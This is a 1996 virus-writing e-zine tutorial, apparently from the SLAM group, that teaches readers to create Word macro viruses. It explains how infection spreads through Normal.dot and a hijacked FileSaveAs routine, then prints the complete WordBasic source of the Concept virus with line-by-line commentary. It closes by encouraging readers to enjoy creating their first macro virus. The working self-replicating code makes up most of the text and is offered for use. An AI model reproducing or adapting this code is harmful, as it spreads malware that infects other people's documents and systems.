home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / TUTUPDT8.ZIP / NEOWMTUT.ZIP / WMTUTINT.TXT next >
Text File  |  1996-01-30  |  22KB  |  566 lines

  1. FIRST INFO ABOUT MACRO VIRII
  2. ----------------------------
  3.  
  4. A computer virus has lots of correspondences with biological virii
  5. (plural of virus).
  6. I will present a list with correspondences:
  7.  
  8. Computer virii                      | Biological virii
  9. -----------------------------------------------------------------------
  10. Infects other computers.            | Infects other people.
  11.                                     |       
  12. Tries to destroy or do something    | Makes you sick, and have consequents 
  13. that isn't nice ;) to others.       | like throw up and stuff.
  14.                                     |
  15. A virus waits with striking to get  | A virus waits with striking to get
  16. more computers infected.            | more people infected.
  17.                                     |
  18. Anti-virus progs helps you (NOT!!)  | There are medicines against almost all 
  19. with uninfecting you system.        | virii.
  20. -----------------------------------------------------------------------
  21. There are lots of more comparisons with biological virii. Imagine...
  22. At the moment there are 2 main types of computer virii:
  23.  
  24.                 1.  Virii created in assembler (or other program languages,
  25.                     but most of the time in assembler). Created for Dos
  26.                     or sometimes for windows (Bizatch, etc.)
  27.                 2.  Virii created in MS-Word macro's (or other programs 
  28.                     that have a good macro language) This sort will be 
  29.                     the subject of this file. 
  30.                     
  31. The second type are the newest virii and spread much more faster then
  32. the first type.
  33.  
  34. Macro virii (the second type) are created with Microsoft Word for 
  35. Windows 6.0 or higher, you may think how can I create a virus with 
  36. a MS-Word? 
  37. MS-Word has a build in macro language, a macro language is almost the
  38. same as a programmer language (such as C++, Pascal, etc.). The MS-WORD
  39. macro language is a simple version of Visual Basic (a programmers 
  40. language. It's not very hard
  41. to learn, only I never found the perfect book about Word macros.
  42.                    
  43. An assembler virus (type 1) attaches himself to an executable file such
  44. as .EXE and .COM, a Word macro virus (type 2) Doesn't attaches himself 
  45. to .EXE or .COM files, but to .DOC files (the standard MS-Word type). You 
  46. might think, how can a .DOC file with text be infected?
  47. See the following picture for more info. 
  48.  
  49.   Normal Word Document (.DOC)
  50.     +--------------------+
  51.     | Text + text-format |
  52.     +--------------------+
  53.  
  54.   Word Template (doesn't matter which extension, .DOT is often used)
  55.     +------------------------------------------+
  56.     | Text + text-format + macros + Word setup |                               
  57.     +------------------------------------------+                                
  58.  
  59. Word virii are created in macros, so if you want to
  60. create a macro virus you must be sure that the file is saved as a
  61. Word template, because in Word templates you can save macros. But
  62. the only problem is that Word templates are almost always saved as
  63. .DOT. So we must change the FileSaveAs program that it will save Word
  64. templates as .DOC.
  65.  
  66. What is a macro?
  67. A macro is a sort of a list of things that MS-Word will do auto-
  68. maticcly when the macro is run.
  69.  
  70. Maybe it's going a bit fast now, so we'll take it all over now, but
  71. if you almost fallen asleap because you already knew everything, go
  72. on with SLAM.003 and enjoy...
  73.  
  74. A summary of what we had till now:
  75.  
  76.  - There are 2 types of virii:
  77.         -Assembler virii, mostly for DOS
  78.         -Winword virii, a new type of virii created with the macro language
  79.          of Microsoft Word 6.0 or higher
  80.  
  81.  - A Word virus is created in a macro, a list of instruction that MS-Word 
  82.    can do automatticly when a macro is run.
  83.  
  84.  - Word can only save macros in templates so you must make sure that Word
  85.    saves every infected file as a template.
  86.  
  87.  
  88. Ok that was that. We have the basics of a macro virus here. Now we'll go
  89. on with a specific macro virus, the Concept macro virus. It was the first
  90. macro virus and is probably the most in the wild virus.
  91.  
  92. In Word you can see if there are any macros installed. You do this with
  93. selecting the Tools/Macros. You then get a dialogbox with the names of
  94. the macros installed in the Normal.dot, Normal.dot is the template where
  95. Word saves its settings in and stores his macros in that are created or
  96. copied to the Normal.dot. Because Word automaticly opens the Normal.dot 
  97. when Word is opened we must make sure to copy the virus macros to the 
  98. Normal.dot.
  99.  
  100. If you understand everything till here you can read on. Otherwise you
  101. may consider reading it again from the start.
  102.  
  103. We'll continue our journey in creating macro virii with looking at the
  104. first Word macro virus, Concept. Because Concept is just a simple Word
  105. macro virus we'll start with this virus. It's detected by all AV-progs
  106. I know about but you must learn to walk before you can do the Polka!
  107.  
  108. The Concept Macro Virus
  109. -----------------------
  110. Before you going to do all the stuff down here it's good to
  111. do the following things:
  112.  
  113. -Make a backup of the Normal.dot from \winword\template\normal.dot
  114. -It's handy to install the WordBasic help file too
  115.  
  116. Concept uses 5 different macros to infect and spread. The names of these
  117. macros are:
  118.                
  119.                - AAAZAO     (a copy of the AutoOpen macro)
  120.                - AAAZFS     (becomes the FileSaveAs macro)
  121.                - AutoOpen   (is automaticly executed when doc is opened)
  122.                - FileSaveAs (changes the fileSaveAs dialog so it will save 
  123.                              as a template, but with a .doc extension)
  124.                - PayLoad    (is the infection marker, this macro doesn't do
  125.                              anything, it's just for fun)
  126.  
  127. In word macro virii the following happens when anyone gets infected:
  128.  
  129.                 1.  You open an infected template (document)
  130.                 2.  The AutoOpen macro in the infected template (document)
  131.                     copies all the virus macros from the template (document)
  132.                     to the Normal.dot
  133.                 3.  The virus macros changes the FileSaveAs  dialog so
  134.                     that it will save every (normal) document you
  135.                     want to save but changes it into a template and saves
  136.                     the macros of the virus in the document
  137.  
  138. This happens with almost every macro virii. There are exclusions, but I
  139. will explain these in later files.
  140. Back to Concept.
  141. The virus uses 5 macros, but if you look in an infected document (not the
  142. Normal.dot), with Tools/Macros you will see only 4. You might think: How
  143. the fuck is that possible??? 
  144. It's not very hard to explain:
  145. It's quite logical. If you use an infected document (not the Normal.dot) 
  146. you'll see the 4 macros:
  147.                              - AAAZAO
  148.                              - AAAZFS
  149.                              - AutoOpen
  150.                              - PayLoad
  151. And if you look at an infected Normal.dot you'll see:
  152.                              - AAAZAO
  153.                              - AAAZFS
  154.                              - FileSaveAs
  155.                              - PayLoad
  156.  
  157. You see that there isn't any AutoOpen macro in the Normal.dot. That's
  158. because it isn't nessecary, because nobody opens his Normal.dot manually.
  159. But if it's opened if you start Word the AutoOpen macro won't run auto-
  160. maticly. We'll come to this later. But in the infected document the
  161. AutoOpen macro is probably the most important macro. Because it does
  162. the actual infection of the Normal.dot. I'll show you later how the
  163. macro works. The PayLoad macro in the infected document is the same as
  164. in the infected Normal.dot and only contains a message:
  165.   "That's enough to prove my point"
  166. It further has no use.
  167. The AAAZAO is a copy of the AutoOpen macro and the AAAZFS macro is a
  168. copy of the FileSaveAs macro. The use of these macros are explained in
  169. the drawing down here. 
  170.  
  171.   The macros that are copied to the Normal.dot when AutoOpen is executed
  172.  
  173.     +--Infected document---+
  174.     | AAAZAO --------------+--------+
  175.     | AAAZFS --------------+-----+  |
  176.     | AutoOpen             |     |  |
  177.     | PayLoad -------------+--+  |  |
  178.     +----------------------+  |  |  |
  179.                               |  |  |
  180.     +--Normal.dot----------+  |  |  |
  181.     | PayLoad <------------+--+  |  |
  182.     | FileSaveAs <---------+-----+  |
  183.     | AAAZFS <-------------+--------+-|
  184.     | AAAZAO <-------------+--------+-|
  185.     +----------------------+
  186.  
  187. You saw that AAAZFS is copied to AAAZFS and to FileSaveAs and AutoOpen was
  188. not. That's because it is running. You cannot copy any macro that is
  189. running. That's why FileSaveAs isn't copied when saving a document
  190. (and infect the document) because FileSaveAs is running. In stead of
  191. FileSaveAs, AAAZFS is copied. AAAZFS has the same contents as FileSaveAs.
  192. As you will see later.
  193. Because AutoOpen isn't copied to the Normal.dot you must have another
  194. macro that has the same contents as the AutoOpen macro to infect other
  195. documents that aren't infected yet, because the infected document must
  196. have an AutoOpen macro in it to infect other computers. Got it? Here's
  197. another drawing to show you what happens if you save an uninfected
  198. document, with the FileSaveAs macro.
  199.  
  200.   The macros that are copied to the uninfected document when FileSaveAs
  201.   is executed. 
  202.  
  203.     +--Normal.dot----------+
  204.     | AAAZAO --------------+--------+
  205.     | AAAZFS --------------+-----+  |
  206.     | FileSaveAs           |     |  |
  207.     | PayLoad -------------+--+  |  |
  208.     +----------------------+  |  |  |
  209.                               |  |  |
  210.     +--Uninfected document-+  |  |  |
  211.     | PayLoad <------------+--+  |  |
  212.     | AAAZFS <-------------+-----+  |
  213.     | AutoOpen <-----------+--------+-|
  214.     | AAAZAO <-------------+--------+-|
  215.     +----------------------+
  216.  
  217. I hope you got it. Now the final thing before we going to see the macros
  218. and their contents of the Concept macro virus.
  219.  
  220. Every virus must have a see-if-already-infected-thing in it. Because if it
  221. tries to infect a file for the second time you will see all kind off strange
  222. error messages. This counts for assembler virii and ofcourse for Word macro
  223. virii.
  224.  
  225.  
  226. Source Code
  227. -----------
  228. This is the source code of the macro virus Concept, it was the first macro
  229. virus created ever. After the source I'll explain what it excactly does.
  230. Everything behind an " ' " are comments by me.
  231.  
  232. The Word Macro Virus Concept
  233.  
  234. 'The macro AAAZAO (the backup of AutoOpen)
  235.  
  236. Sub MAIN
  237.         On Error Goto Abort                'a build in errorhandler
  238.         iMacroCount = CountMacros(0, 0)    'count all macros
  239.         'see if we're already installed
  240.     For i = 1 To iMacroCount
  241.         If MacroName$(i, 0, 0) = "PayLoad" Then
  242.                         bInstalled = - 1   'check if payload is in it yet
  243.         End If
  244.         If MacroName$(i, 0, 0) = "FileSaveAs" Then
  245.                         bTooMuchTrouble = - 1  'FileSaveAs already installed?
  246.         End If
  247.     Next i
  248.     If Not bInstalled And Not bTooMuchTrouble Then
  249.         'add FileSaveAs and copies of AutoOpen and FileSaveAs.
  250.         'PayLoad is just for fun.
  251.         iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  252.                 sMe$ = FileName$()              
  253.         sMacro$ = sMe$ + ":Payload"
  254.                 MacroCopy sMacro$, "Global:PayLoad" 'infect the Normal.dot
  255.         sMacro$ = sMe$ + ":AAAZFS"
  256.         MacroCopy sMacro$, "Global:FileSaveAs"
  257.         sMacro$ = sMe$ + ":AAAZFS"
  258.         MacroCopy sMacro$, "Global:AAAZFS"
  259.         sMacro$ = sMe$ + ":AAAZAO"
  260.         MacroCopy sMacro$, "Global:AAAZAO"
  261.         SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  262.                 MsgBox Str$(iWW6IInstance + 1)      'display a messagebox
  263.     End If
  264. Abort:
  265. End Sub
  266.  
  267.  
  268.  
  269. 'The macro AAAZFS (the backup of FileSaveAs)
  270.  
  271. Sub MAIN
  272. 'this becomes the FileSaveAs for the global template
  273. Dim dlg As FileSaveAs
  274. On Error Goto bail                'build in errorhandler
  275. GetCurValues dlg
  276. Dialog dlg
  277. If dlg.Format = 0 Then dlg.Format = 1
  278. sMe$ = FileName$()
  279. sTMacro$ = sMe$ + ":AutoOpen"          
  280. MacroCopy "Global:AAAZAO", sTMacro$    'saves the documents with the macros
  281. sTMacro$ = sMe$ + ":AAAZAO"
  282. MacroCopy "Global:AAAZAO", sTMacro$
  283. sTMacro$ = sMe$ + ":AAAZFS"
  284. MacroCopy "Global:AAAZFS", sTMacro$
  285. sTMacro$ = sMe$ + ":PayLoad"
  286. MacroCopy "Global:PayLoad", sTMacro$
  287. FileSaveAs dlg
  288. Goto Done
  289.  
  290. Bail:                        
  291. If Err <> 102 Then           'if an error comes up just display the
  292.         FileSaveAs dlg       'FileSaveAs dialog
  293. End If
  294. Done:
  295. End Sub
  296.  
  297.  
  298.  
  299. The macro AutoOpen
  300.  
  301. Sub MAIN
  302.         On Error Goto Abort               'build in errorhandler
  303.         iMacroCount = CountMacros(0, 0)   'count the macros
  304.     'see if we're already installed
  305.     For i = 1 To iMacroCount
  306.         If MacroName$(i, 0, 0) = "PayLoad" Then
  307.                         bInstalled = - 1   'check if PayLoad is in already
  308.         End If
  309.         If MacroName$(i, 0, 0) = "FileSaveAs" Then
  310.                         bTooMuchTrouble = - 1 'FileSaveAs already installed?
  311.         End If
  312.     Next i
  313.     If Not bInstalled And Not bTooMuchTrouble Then
  314.         'add FileSaveAs and copies of AutoOpen and FileSaveAs.
  315.         'PayLoad is just for fun.
  316.         iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  317.         sMe$ = FileName$()
  318.         sMacro$ = sMe$ + ":Payload"
  319.                 MacroCopy sMacro$, "Global:PayLoad"   'infect the Normal.dot
  320.         sMacro$ = sMe$ + ":AAAZFS"
  321.         MacroCopy sMacro$, "Global:FileSaveAs"
  322.         sMacro$ = sMe$ + ":AAAZFS"
  323.         MacroCopy sMacro$, "Global:AAAZFS"
  324.         sMacro$ = sMe$ + ":AAAZAO"
  325.         MacroCopy sMacro$, "Global:AAAZAO"
  326.         SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  327.                 MsgBox Str$(iWW6IInstance + 1)  'display a messagebox
  328.     End If
  329. Abort:
  330. End Sub
  331.  
  332.  
  333.  
  334. The macro FileSaveAs
  335.  
  336. Sub MAIN
  337. 'this becomes the FileSaveAs for the global template
  338. Dim dlg As FileSaveAs
  339. On Error Goto bail      'build in errorhandler
  340. GetCurValues dlg
  341. Dialog dlg
  342. If dlg.Format = 0 Then dlg.Format = 1
  343. sMe$ = FileName$()
  344. sTMacro$ = sMe$ + ":AutoOpen"
  345. MacroCopy "Global:AAAZAO", sTMacro$  'infects Normal.dot
  346. sTMacro$ = sMe$ + ":AAAZAO"
  347. MacroCopy "Global:AAAZAO", sTMacro$
  348. sTMacro$ = sMe$ + ":AAAZFS"
  349. MacroCopy "Global:AAAZFS", sTMacro$
  350. sTMacro$ = sMe$ + ":PayLoad"
  351. MacroCopy "Global:PayLoad", sTMacro$
  352. FileSaveAs dlg
  353. Goto Done
  354.  
  355. Bail:
  356. If Err <> 102 Then        'If an error comes up just display 
  357.         FileSaveAs dlg    'the FileSaveAs dialog
  358. End If
  359. Done:
  360. End Sub
  361.  
  362.  
  363.  
  364. Don't quit now if you don't understand a thing of it, most of you will
  365. not understand it right now. I will discuss the macros now.
  366. You probably have seen that the macros FileSaveAs and AAAZFS are the same.
  367. The macros AutoOpen and AAAZAO are the same to. It's quite logical because
  368. the AAAZFS gets copied to the FileSaveAs and the AAAZAO is copied to the
  369. AutoOpen macro. So because of the two same macros I will only discuss two
  370. macros with you, the FileSaveAs and AutoOpen, more is not neccesary.
  371. If your Normal.dot has the Concept macros you can easily watch them by
  372. clicking    Tools/Macro---->"choose macro you want to view" and click Edit
  373.  
  374. Here follows the macros AutoOpen and FileSaveAs again only now with more
  375. explanation, I hope you get it now.
  376.  
  377. >comment from me about the line above
  378.  
  379. The Macro FileSaveAs
  380. --------------------
  381. >This all happens when you click File/Save As... in Word.
  382.  
  383. ----------------------------------------------------------------
  384. Sub MAIN
  385. >Every macro begins with this and ends with "End Sub".
  386.  
  387. Dim dlg As FileSaveAs
  388. >Set the dialog as FileSaveAs.
  389.  
  390. On Error Goto bail
  391. >If an error occurs goto bail, see "bail:" down the macro where it goes.
  392.  
  393. GetCurValues dlg
  394. >Gets the cursur place, and other settings of the cursur,
  395. >from the dialog (FileSaveAs dialog).
  396.  
  397. Dialog dlg
  398.  
  399. If dlg.Format = 0 Then dlg.Format = 1
  400. >If dialog format is 0 then change it to 1.
  401.  
  402. sMe$ = FileName$()
  403. >The string sMe$ is the active document in Word.
  404.  
  405. sTMacro$ = sMe$ + ":AutoOpen"
  406. >The string sTMacro$ is the same as sMe$ (the active document) + ":AutoOpen".
  407.  
  408. MacroCopy "Global:AAAZAO", sTMacro$
  409. >Copies the macro AAAZAO from the Normal.dot (global template) to the
  410. >sTMacro$ (active document + :AutoOpen).
  411.  
  412. sTMacro$ = sMe$ + ":AAAZAO"
  413. >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO".
  414.  
  415. MacroCopy "Global:AAAZAO", sTMacro$
  416. >Copies the macro AAAZAO from the Normal.dot (global template) to the
  417. >sTMacro$ (active document + :AAAZAO).
  418.  
  419. sTMacro$ = sMe$ + ":AAAZFS"
  420. >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".
  421.  
  422. MacroCopy "Global:AAAZFS", sTMacro$
  423. >Copies the macro AAAZFS from the Normal.dot (global template) to the
  424. >sTMacro$ (active document + :AAAZFS).
  425.  
  426. sTMacro$ = sMe$ + ":PayLoad"
  427. >The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad".
  428.  
  429. MacroCopy "Global:PayLoad", sTMacro$
  430. >Copies the macro PayLoad from the Normal.dot (global template) to the
  431. >sTMacro$ (active document + :Payload).
  432.  
  433. FileSaveAs dlg
  434. >Shows the FileSaveAs Dialog.
  435.  
  436. Goto Done
  437. >If everything is gone good goto Done.
  438.  
  439. Bail:
  440. >This is where the macro jumps to when an error occurs (see On error
  441. >goto bail, at the top of this macro).
  442.  
  443. If Err <> 102 Then
  444.     FileSaveAs dlg
  445. >If the error number is different to 102 then the macro will show the
  446. >FileSaveAs Dialog.
  447.  
  448. End If
  449. >The end of an "if" instruction see above (If err <> 102 then FileSaveAs dlg).
  450.  
  451. Done:
  452. >This is where the macro goes to when everything has gone good.
  453. >The "goto done" instruction does this.
  454.  
  455. End Sub
  456. >Every Word macro stops with this.
  457. ----------------------------------------------------------------
  458.  
  459. The Macro AutoOpen
  460. ------------------
  461. >This all happens when an infected document is opened.
  462.  
  463. ----------------------------------------------------------------
  464. Sub MAIN
  465. >Every macro begins with this and ends with "End Sub".
  466.  
  467.     On Error Goto Abort
  468. >If an error occurs goto abort, see "abort:" down the macro where it goes.
  469.  
  470.     iMacroCount = CountMacros(0, 0)
  471. >Count how many macros are in Normal.dot (global template).
  472.  
  473.     For i = 1 To iMacroCount
  474. >A loop in the macro that runs again if "Next i" instruction is executed.
  475. >Because iMacroCount is the amount of macros in the Normal.dot it will
  476. >check all macros.
  477.  
  478.         If MacroName$(i, 0, 0) = "PayLoad" Then
  479.             bInstalled = - 1
  480. >If Macro name is PayLoad then bInstalled is - 1
  481.  
  482.         End If
  483. >The end of an "if" instruction. 
  484.  
  485.         If MacroName$(i, 0, 0) = "FileSaveAs" Then
  486.             bTooMuchTrouble = - 1
  487. >If Macro name is FileSaveAs then bTooMuchTrouble = - 1
  488.  
  489.         End If
  490. >The end of an "if" instruction.
  491.  
  492.     Next i
  493. >The "Next i" instruction that tells the for...next loop to return to the
  494. >for...next loop if i is more then already done.
  495.  
  496.     If Not bInstalled And Not bTooMuchTrouble Then
  497. >If bInstalled is not 0 and if bTooMuchTrouble is not 0 then do
  498. >everything below this.
  499.  
  500.                 iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  501. >Sets the iWW6IInstance string as Val(GetdocumentVar$("WW6Infector"))
  502. >This is not that important because it's only used for the message box
  503. >below.
  504.  
  505.         sMe$ = FileName$()
  506. >The string sMe$ is the active document in Word.
  507.  
  508.         sMacro$ = sMe$ + ":Payload"
  509. >The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad".
  510.  
  511.         MacroCopy sMacro$, "Global:PayLoad"
  512. >Copies the macro PayLoad (sMacro$) from the active infected document to the
  513. >global template (most of the times Normal.dot).
  514.  
  515.         sMacro$ = sMe$ + ":AAAZFS"
  516. >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".
  517.  
  518.         MacroCopy sMacro$, "Global:FileSaveAs"
  519. >Copies the macro AAAZFS (sMacro$) from the active infected document to the
  520. >global template (most of the times Normal.dot) with the name FileSaveAs.
  521.  
  522.         sMacro$ = sMe$ + ":AAAZFS"
  523. >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".
  524.  
  525.         MacroCopy sMacro$, "Global:AAAZFS"
  526. >Copies the macro AAAZFS (sMacro$) from the active infected document to the
  527. >global template (most of the times Normal.dot).
  528.  
  529.         sMacro$ = sMe$ + ":AAAZAO"
  530. >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO".
  531.  
  532.         MacroCopy sMacro$, "Global:AAAZAO"
  533. >Copies the macro AAAZAO (sMacro$) from the active infected document to the
  534. >global template (most of the times Normal.dot).
  535.  
  536.         SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  537. >Set the profile string "WW6I" to Str$(iWW6IInstance + 1).
  538. >The actual thing done here is put a 1 in Str$(iWW6IInstace + 1)
  539. >This isn't that important because it is only used to place the "1" in the
  540. >message box below.
  541.  
  542.         MsgBox Str$(iWW6IInstance + 1)
  543. >This displays a message box containing the Str$(iWW6IInstance + 1).
  544. >Because Str$(iWW6IInstance + 1) is "1" the message box just displays a "1".
  545.  
  546.     End If
  547. >The end of the "if" instruction "If not bInstalled and not bTooMuchTrouble".
  548.  
  549. Abort:
  550. >This is the place where the macro goes when an error occurs.
  551.  
  552. End Sub
  553. >Every Word macro stops with this.
  554. ----------------------------------------------------------------
  555.  
  556. The Macro virus Concept is included with this SLAM issue in the file
  557. Concept.zip
  558.  
  559. Enjoy creating your first macro virus and learn from the WordBasic help
  560. file and books. You can read on with the mag if you want but it's
  561. probably better if you first learn something more about the Word macro
  562. language WordBasic.
  563.  
  564.  
  565.                       --- Neophyte ---   
  566.